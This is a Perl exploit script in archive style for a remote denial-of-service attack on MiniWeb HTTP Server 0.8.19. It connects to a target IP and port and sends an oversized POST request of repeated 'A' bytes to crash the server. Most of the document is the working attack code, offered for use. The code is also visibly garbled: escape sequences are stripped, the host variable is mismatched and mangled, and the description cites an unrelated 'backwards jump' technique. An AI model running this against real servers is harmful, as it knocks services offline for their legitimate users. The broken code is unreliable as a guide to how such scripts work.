Authored by Fernando Mengali

MiniWeb HTTP Server version 0.8.19 remote denial of service exploit.

#!/usr/bin/perl

use IO::Socket;

# Exploit Title: MiniWeb HTTP Server 0.8.19 - Denied of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 24 january 2024
# Vendor Homepage: N/A
# Download to demo: https://drive.google.com/file/d/1935vpOZJPFJqnwTMPdkXTvoblA1SzBEK/view?usp=sharing
# Notification vendor: No reported
# Tested Version: MiniWeb HTTP Server 0.8.19 - Denied of Service (DoS)
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denied of Service (DoS)
# VĂ­deo: https://www.youtube.com/watch?v=2yVPUO-rl1E

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Backwards jump to code a known distance from the stack pointer.
#The web server does not correctly handle the amount of data or bytes sent to server.
#When authenticating to the web server with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing Denied of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

$sis="$^O";

if ($sis eq "windows"){
$cmd="cls";
} else {
$cmd="clear";
}

system("$cmd");

intro();
main();

print "[+] Exploiting... n";

my $payload = "x41" x 2038;

my $http_req = "POST /index.html HTTP/1.1rn";
$http_req .= "Host: $iprn";
$http_req .= "From: header-datarn";
$http_req .= "Content-Type: application/x-www-form-urlencodedrnrn";
$http_req .= $payload;

my $socket = IO::Socket::INET->new(
PeerAddr => $host,
PeerPort => $port,
Proto => 'tcp'
) or die "[-] Could not connectn";

$socket->send($http_req);
$socket->close();

print "[+] Done - Exploited success!!!!!nn";

sub intro {
print q {


_/|
// o
|| ._)
//__
)___(

[+] MiniWeb HTTP Server 0.8.19 - Denied of Service (DoS)

[*] Coded by Fernando Mengali

[@] e-mail: [email protected]

}
}

sub main {

our ($ip, $port) = @ARGV;

unless (defined($ip) && defined($port)) {

print " nUsage: $0 <ip> <port> n";
exit(-1);

}
}